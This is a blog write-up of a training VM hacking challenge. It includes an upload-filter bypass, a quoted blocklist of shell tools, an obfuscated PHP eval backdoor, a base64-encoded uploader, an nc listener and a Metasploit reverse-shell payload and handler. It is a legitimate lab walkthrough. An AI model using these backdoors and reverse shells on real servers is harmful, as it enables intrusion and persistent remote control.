PANhandler from /dev/null

PENTEST LAB - Drunk Admin Web Hacking Challenge 1

“Drunk Admin Web Hacking Challenge 1” is the name of virtual machine which has been created for training purposes. You can grab it from here. Inside archive you will find ready to launch Vmware virtual machine. If you prefer VirtualBox (like I do) you can also use it. Simple create new virtual machine and mount pwnlab-03-cl2.vmdk as hard disk. Important notice! Do not expose that virtual machine to external network (that applies to all virtual machines created for training). You can use host only or internal network with some dhcp server. There are plenty tutorials, about setting your own pentesting lab, in the internet so if you don’t have one just google it. I’ll maybe write about my configuration later (but honestly it’s nothing new or revelatory in it). After everything is set up we are ready to lunch our test.


If you want to finish this challenge alone stop reading here.

FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

Challenge accepted!!

After setting everything up I started my check with discovering target’s IP.

# netdiscover -i eth1 -r Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 08:00:27:00:b0:8e 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:9a:80:7e 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:24:78:48 01 060 CADMUS COMPUTER SYSTEMS

Looks like virtual machine got IP Let’s look what is running there:

# nmap -sV -A -p1-9000 Starting Nmap 6.45 ( ) at 2014-05-13 21:13 CEST Nmap scan report for Host is up (0.00030s latency). Not shown: 8998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0) | ssh-hostkey: | 1024 57:a2:04:3d:6e:e5:01:7b:b4:c6:e5:f9:76:25:8a:8a (DSA) |_ 2048 66:9a:ee:a2:2a:1a:59:47:b9:c5:50:da:a6:96:76:16 (RSA) 8880/tcp open http Apache httpd 2.2.16 ((Debian)) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Tripios MAC Address: 08:00:27:24:78:48 (Cadmus Computer Systems) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.26 - 2.6.35, Linux 2.6.32 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.30 ms OS and Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 35.45 seconds

Got ssh and apache running. I’ve launched DirBuster against Apache and opened browser. Looks like image hosting web app.

Before any further tests I’ve opened Burpsuite and tunneled browser through its proxy. Let’s host some image. After uploading it you can see it hosted, let’s check the uploaded image.

It was placed in images folder and it has been renamed. That new name looks like md5 hash, but from what. There’s easy way to find that. I went to Burpsuite, found my POST and sent it to the repeater. My first thought was that this hash is generated from filename so firstly I’ve changed name from “a.png” to “b.png” and posted it. I’ve got response:

First question here… where is my new file name… that Set-Cookie looks promising. I’ve copied that string and pasted to browser adding extension (png). Here it is, that’s my image:

Now I know that this hash is name related and I decided to try to bruteforce it. Let’s start with md5…

# echo 32d3ca5e23f4ccf1e4c8660c40e75f33 32d3ca5e23f4ccf1e4c8660c40e75f33 # echo -n "a.png" | md5sum 32d3ca5e23f4ccf1e4c8660c40e75f33 -

Bingo! Now I can move on. Let’s see if we can upload php…

I was expecting that…let’s try some tricks. First…change name to png.php.

Looks better. Fast check in browser:

Bullseye! Ok, we can upload php, it’s piece of cake now. Let’s go big with reverse php shell. I’ve encoded it with base64 and pasted to repeater. Post and…

What the…!? There must be some filter looking inside uploaded file for php shell signs. Maybe that filter is not perfect… if I can only see it… wait a minute… after googling for php view file content I got this:

echo file_get_contents(filename);

File responsible for uploading is called upload.php so my final php code looked like this:

echo file_get_contents('../upload.php');

Let’s send it… success! Let’s see it.

That’s not what we are looking for… check source:

Hello my friend! I was correct. There’s a method looking inside uploaded file and checking its content against defined words.

$file = file_get_contents("./images/$image_name");
    if( strpos($file,"perl") ||
	strpos($file,"bash") ||
	strpos($file,"sh -c") ||
	strpos($file,"python") ||
	strpos($file,"nc ") ||
	strpos($file,"netcat") ||
	strpos($file,"base64") ||
	strpos($file,"ruby") ||
	strpos($file,"fsockopen") ||
	strpos($file,"xterm") ||
	strpos($file,"gcc") ||
	strpos($file,'$_GET') ||
	strpos($file,'$_POST') ||
	strpos($file,'$_SERVER') ||
	strpos($file,'$_FILES') ||
	strpos($file,'$_COOKIE') )
	echo "<h1>Ohhh you are naughty!</h1>";
	exec("rm ./images/$image_name");

I’m not a php developer but I’ve seen some php code here and there and remembered that there’s something that goes $_REQUEST [‘’] which works like $_GET[‘’]. That method is not prohibited so let’s check if it’ll work.

Now I have local file inclusion. Going with php shell from here is not difficult, just send code like that:

and enjoy:

I’ve uploaded page with phpinfo() to find out about disabled functions and there were couple. That’s why I used exec() in reverse shell. It has one returns only last line of stdout, but knowing that I’ll just redirect output to files and then view them. You can push reverse shell here by visiting:

and catching the connection with:

nc -l -p 5600 -vvv

Now with shell access we can go through filesystem. I spawned bash using python and command

python -c ‘import pty; pty.spawn(“/bin/bash”)’

cause it looks clearer. It may seems easy but sometimes it is not trivial to find what we are looking for (I’m reffering to hacking challenges like this one). It is a good idea to have a list of directories worth to look through. Here we start in webapp directories so let’s look for anything interesting:

www-data@drunkadm:/var/www/images$ cd .. cd .. www-data@drunkadm:/var/www$ ls ls image.php images index.php info.php myphp.php style upload.php xmm.html www-data@drunkadm:/var/www$ ls -la ls -la total 48 drwxr-xr-x 4 root root 4096 May 14 23:03 . drwxr-xr-x 14 root root 4096 Mar 3 2012 .. -rw-r--r-- 1 root root 217 Mar 3 2012 .htaccess -rw-r--r-- 1 root root 322 Mar 6 2012 .proof -rw-r--r-- 1 root root 2683 Mar 7 2012 image.php drwxrwxr-x 2 root www-data 4096 May 17 00:28 images -rw-r--r-- 1 root root 1981 Mar 4 2012 index.php -rw-r--r-- 1 root root 1943 Mar 4 2012 info.php -rw-r--r-- 1 root root 279 Mar 4 2012 myphp.php drwxr-xr-x 2 root root 4096 Mar 3 2012 style -rw-r--r-- 1 root root 2144 Mar 7 2012 upload.php -rw-r--r-- 1 root root 51 Mar 3 2012 xmm.html www-data@drunkadm:/var/www$

Hmm… file “.proof” doesn’t fit here. Inside I found secret code. Maybe it’s bob password. Fast check with ssh… nope… Let’s write that down and check other files.

There wasn’t anything interesting in webapp folders so I went to user’s home.

www-data@drunkadm:/home/bob$ ls -la ls -la total 28 drwxr-xr-x 4 bob bob 4096 May 17 00:45 . drwxr-xr-x 3 root root 4096 Mar 3 2012 .. -rw-r--r-- 1 bob bob 220 Mar 3 2012 .bash_logout -rw-r--r-- 1 bob bob 3184 Mar 3 2012 .bashrc -rw-r--r-- 1 bob bob 675 Mar 3 2012 .profile drwxr-xr-x 2 root root 4096 Mar 6 2012 Documents drwxr-xr-x 3 bob bob 4096 Mar 6 2012 public_html

Hmm public_html inside bob’s folder. I went to browser to check it and read all files there. It’s encryption/decryption mechanism with some message encrypted in index.php. I’ve played a while here to find connection with that secret message I found in webapp folder. I have to say this part was quite a puzzle for me. After some time I’ve decided to check if that secret pass is encoded. Firs the easiest one… base64… decoded… typed… Bingo! I’ve found the secret message! By the way… check that destination in google maps and look on the photo placed north from that place. Maybe there’s Bob somewhere. Job’s done. But that’s not all…

Earlier I’ve presented the path I followed when I beat that challenge the first time. After that I read about nasty tricks to hide php backdoors in code. It was here (it’s polish page so you probably won’t understand it). If you want a translation of that page leave comment and I’ll contact the author and try to write something here. Let’s go back to the “Drunk Admin Web Hacking Challenge 1”… with knowledge about filter from upload.php I decided to hide my code using, this method:

$b = strrev("edoced_4" . "6esab");
eval( $b($_REQUEST['c']) );

Nice features php, can’t say (: Before going crazy with some big-all-in-one-php-shell I’ve checked disabled functions in phpinfo() again. Probably most shells would need some fixes and that’s not my game here. I’m currently discovering Metasploit framework so I’ve decided to use its payload here. Looking on the php limitations I’ve crossed php payload out. That still leaves me few other payloads types. I chose the python one. Generating python payload is quite simple:

msfpayload python/meterpreter/reverse_tcp LHOST= LPORT= R >

I thought that I’ll just post it using original upload.php but there was “base64” string in it… so not this time. That’s it! I have enough, I’m breaking with you original upload.php. I needed my own upload page on the server. I’ve grabbed some code from here. I couldn’t upload it because there were too many restricted strings in it so I base64 encoded it and uploaded in this form:

<form enctype="multipart/form-data" action="" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="512000" />
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />

$b = strrev("edoced_4" . "6esab");
eval( $b('JHVwbG9hZGRpciA9ICcuLyc7DQokdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KDQplY2hvICI8cD4iOw0KDQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSkgew0KICBlY2hvICJGaWxlIGlzIHZhbGlkLCBhbmQgd2FzIHN1Y2Nlc3NmdWxseSB1cGxvYWRlZC5cbiI7DQp9IGVsc2Ugew0KICAgZWNobyAiVXBsb2FkIGZhaWxlZCI7DQp9DQoNCmVjaG8gIjwvcD4iOw0KZWNobyAnPHByZT4nOw0KZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JzsNCnByaW50X3IoJF9GSUxFUyk7DQpwcmludCAiPC9wcmU+Ijs=') );

Now you see why that article about php backdoors was so helpful for me. I’ve bypassed security check in upload.php and sent my own upload script to server. Below you can see it in action.

And here’s my python payload on the server.

To start Metasploit listener I’ve typed:

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD python/meterpreter/reverse_tcp PAYLOAD => python/meterpreter/reverse_tcp msf exploit(handler) > set LHOST LHOST => msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit

and then I fired payload using simple php shell:

Got Meterpreter session:

[*] Started reverse handler on [*] Starting the payload handler... [*] Sending stage (17349 bytes) to [*] Meterpreter session 1 opened ( -> at 2014-05-17 00:03:19 +0200 meterpreter >

That’s all! I have to say that I liked that challenge. Maybe because it’s a web app one and as web developer I can move around easier. Thanks for reading! cya

Written on May 18, 2014